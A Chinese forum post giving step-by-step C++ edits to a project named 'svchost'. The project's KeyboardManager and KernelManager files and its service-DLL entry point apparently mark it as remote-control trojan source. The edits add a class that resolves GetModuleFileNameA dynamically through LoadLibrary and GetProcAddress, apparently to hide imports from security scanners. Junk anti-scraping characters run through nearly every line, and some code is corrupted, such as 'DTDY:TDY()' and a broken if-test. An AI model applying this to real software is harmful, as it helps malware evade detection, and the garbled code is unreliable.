[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记+ v# E2 \- D! W$ F, ~* V  T
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h* z4 `" q: _8 t& L* v/ U
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6 ?$ h3 C- Y5 R- ~- L& PDTDY.h：
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#if _MSC_VER>1000
8 o2 t+ T# s7 E9 \5 A#pragma once) |& @6 _. W* @9 x2 n+ ?, [) y! o
#endif //_MSC_VER>1000
* \* g7 _1 }# t* \# F9 E6 c- ], F; i#include<windows.h>
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typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
0 v$ L, O2 K, Dclass DTDY" H9 q! \( q7 c' `9 E/ W. r4 [. R
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public:
. }$ u$ ~9 p4 l8 x0 P! f) ODTDY();
& S  x4 ]" Q2 avirtual ~DTDY();5 X2 U5 ?' T% [$ _9 g) l" O4 q
public:
! C/ V8 W# C  q' K8 e6 M8 v' Xstatic pGetModuleFileNameA MyGetModuleFileName;
1 y; B- D" }  Ustatic BOOL FunInitiallization();
8 g* W9 A7 x9 j( |};
& n4 j& @' E$ ^  |, _9 H1 H#endif! h$ |# y3 o8 H
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$ h& V1 T- _- K0 g% ?DTDY.cpp:8 m2 @6 O% n! z: h
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#include "DTDY.h"6 s# e* h. Y+ `) Y
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
4 c1 c, ?# U, ]  n1 qDTDY:TDY()' Y. D7 y* N- ?- h/ s& ]& `
{
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5 b8 e. |! K0 o  vDTDY::~DTDY(): V# t+ [1 t) a0 e$ m( Y
{
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2 M7 Y( @! E; {, [$ b5 Y5 PBOOL DTDY::FunInitiallization()! g, W  v+ |1 R1 w6 h7 A- ?# a
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HMODULE hModule=LoadLibrary("kernel32.dll");
% C1 B+ c2 r1 A' e! E  L% n1 q' W! hMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
4 e2 k, `' ?2 d! gif(!MyGetModuleFileName=) return FALSE;
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2 Y. b. M3 f' k, F- Sreturn TRUE;
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& y& n% m1 m  v& Csvchost.cpp:
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#include "DTDY.h", W2 ?: X5 E% ~( M9 g  L- E
# K4 `6 ?% Q' R4 g: J+ X
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
! d& q( D6 _9 g) e  a! z# t% ^{
6 |$ n/ W3 d0 p6 c! I, C5 iswitch(ul_reason_for_call)
8 F8 U0 D1 s% _{
# k6 @7 E1 T- E" @; Vcase DLL_PROCESS_ATTACH:
% D6 l. Q7 g1 i) S* b& y/ rif(!DTDY::FunInitiallization()) return FALSE;! A( S: e; g& v9 o, o' R% B, q1 k
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break;
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- O! s1 I9 |4 K% v+ e3 H9 AGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
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DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));- W4 w+ ~! F1 t
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KernelManager.cpp:" O0 |: q! `4 k) v+ V' d7 s

2 y$ d6 B4 x. w( ^/ K#include "../DTDY.h"7 t  K  p# B+ O- @. S& I8 L
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
" V. _2 S. g9 C/ ^4 ^: y改写为
: }# b: }. }- a( }& d, S- PDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
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